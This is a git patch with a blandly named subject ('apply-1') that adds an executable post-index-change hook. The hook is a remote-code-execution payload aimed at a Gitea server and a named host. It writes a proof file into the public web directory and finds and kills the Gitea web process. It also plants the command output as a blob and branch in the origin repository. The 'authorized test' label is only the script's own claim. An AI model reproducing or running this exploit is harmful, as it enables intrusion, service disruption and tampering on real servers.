From d7f2cf3755e5041940f353a6ab988b709ad5a9c9 Mon Sep 17 00:00:00 2001
From: poc8ike4tze <poc8ike4tze@example.com>
Date: Wed, 28 Oct 2026 12:49:15 +0000
Subject: [PATCH] apply-1

---
 hooks/post-index-change | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100755 hooks/post-index-change

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..2cf6433
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,19 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+ /*) ;;
+ *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$( { mkdir -p /data/gitea/public/img
+printf 'RCE PROOF — AUTHORIZED TEST\nCVE: CVE-2026-60004 (Gitea 1.24.4, pre-auth diffpatch hook injection)\nAsset: comcam-gitea.groupe-madia.cm\nResult: uid=1000(git) — komut calistirma kanitlandi\nHost: %s\nGenerated(UTC): %s\nPath: /data/gitea/public/rce-proof.txt (GITEA_CUSTOM/public)\n' "$(hostname)" "$(date -u +%Y-%m-%dT%H:%M:%SZ)" > /data/gitea/public/rce-proof.txt
+cp /data/gitea/public/rce-proof.txt /data/gitea/public/img/rce-proof.txt
+echo "== yazildi =="; ls -la /data/gitea/public/ /data/gitea/public/img/; sha256sum /data/gitea/public/rce-proof.txt
+GPID=""; for p in /proc/[0-9]*; do c=$(tr '\0' ' ' < $p/cmdline 2>/dev/null); case "$c" in *"gitea web"*) GPID=${p#/proc/};; esac; done
+( sleep 5; kill -TERM "$GPID" ) >/dev/null 2>&1 & echo "restart planlandi PID=$GPID" ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
+exit 0